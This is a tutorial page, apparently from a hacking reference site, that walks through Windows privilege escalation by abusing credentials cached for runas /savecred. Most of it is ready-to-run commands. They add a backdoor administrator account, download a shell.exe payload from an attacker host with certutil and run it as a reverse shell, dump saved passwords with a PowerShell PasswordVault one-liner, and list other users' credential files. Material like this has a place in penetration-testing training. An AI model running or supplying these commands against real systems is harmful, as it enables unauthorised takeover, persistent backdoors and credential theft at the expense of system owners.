Skip to content
HackIndex logo

HackIndex

Runas Stored Credentials Privilege Escalation

3 min read Jul 14, 2026

Windows stores credentials for network resources, RDP sessions, and runas targets in the Windows Credential Manager. The runas /savecred command allows executing any program as a stored credential user without re-entering the password. If Administrator credentials are cached, you get immediate privilege escalation with a single command.

Prerequisites Check

List all stored credentials:

C:\Users\Guest\Desktop> cmdkey /list

Look for entries with:

  • Target: DOMAIN\Administrator or Target: BUILTIN\Administrator

  • Target: MicrosoftAccount\... (Microsoft accounts)

  • Target: Domain:interactive=... (RDP or runas targets)

  • Type: Generic with a username indicating a privileged account

If cmdkey /list shows no entries, this technique does not apply.

Step 1 — Identify High-Value Stored Credentials

C:\Users\Guest\Desktop> cmdkey /list 
Currently stored credentials:

    Target: DOMAIN\Administrator
    Type: Domain Password
    User: DOMAIN\Administrator

    Target: WindowsLive:target=virtualapp/didlogical
    Type: Generic
    User: Administrator

Any entry with Administrator, SYSTEM, or a privileged username is worth targeting.

Step 2 — Execute Commands as the Stored User

The /savecred flag tells runas to use the stored credential without prompting for a password:

Add a new admin user:

C:\Users\Guest\Desktop> runas /savecred /user:Administrator "cmd.exe /c net user hacker Password123! /add"
C:\Users\Guest\Desktop> runas /savecred /user:Administrator "cmd.exe /c net localgroup administrators hacker /add"

Open an elevated command prompt:

C:\Users\Guest\Desktop> runas /savecred /user:Administrator cmd.exe

Reverse shell:

First transfer your payload:

C:\Users\Guest\Desktop> certutil -urlcache -split -f http://$LHOST:8080/shell.exe C:\Windows\Temp\shell.exe

Start your listener, then:

C:\Users\Guest\Desktop> runas /savecred /user:Administrator "C:\Windows\Temp\shell.exe"

Domain format:

C:\Users\Guest\Desktop> runas /savecred /user:DOMAIN\Administrator cmd.exe
C:\Users\Guest\Desktop> runas /savecred /user:COMPUTERNAME\Administrator cmd.exe

Step 3 — Verify Escalation

In the new shell:

C:\Users\Guest\Desktop> whoami
C:\Users\Guest\Desktop> net user hacker
C:\Users\Guest\Desktop> net localgroup administrators

PowerShell Alternative

PS C:\Users\Guest\Desktop> # Get stored credentials
PS C:\Users\Guest\Desktop> $creds = Get-StoredCredential
PS C:\Users\Guest\Desktop> $creds | Format-List
 
PS C:\Users\Guest\Desktop> # Or via Windows Credential Manager directly
PS C:\Users\Guest\Desktop> [Windows.Security.Credentials.PasswordVault,Windows.Security.Credentials,ContentType=WindowsRuntime]::new().RetrieveAll() | % { $_.RetrievePassword(); $_ }

Credential Manager GUI Access

If you have a GUI session (RDP), open Credential Manager directly:

Control Panel → User Accounts → Credential Manager

Or via run dialog:

C:\Users\Guest\Desktop> rundll32.exe keymgr.dll,KRShowKeyMgr

This shows all stored credentials including Windows Credentials and Certificate-Based Credentials. Passwords are retrievable only by the owning user — but using /savecred for execution does not require reading the password.

Enumerating Other Users' Stored Credentials

If you escalated to SYSTEM or another user, check their credential store:

C:\Users\Guest\Desktop> # As SYSTEM — list credentials for a specific user profile
C:\Users\Guest\Desktop> # Credential files are stored in:
C:\Users\Guest\Desktop> dir C:\Users\*\AppData\Local\Microsoft\Credentials\ 2>nul
C:\Users\Guest\Desktop> dir C:\Users\*\AppData\Roaming\Microsoft\Credentials\ 2>nul

For DPAPI-protected credential decryption see https://hackindex.io/platforms/windows/privilege-escalation/dpapi-credential-decryption.

References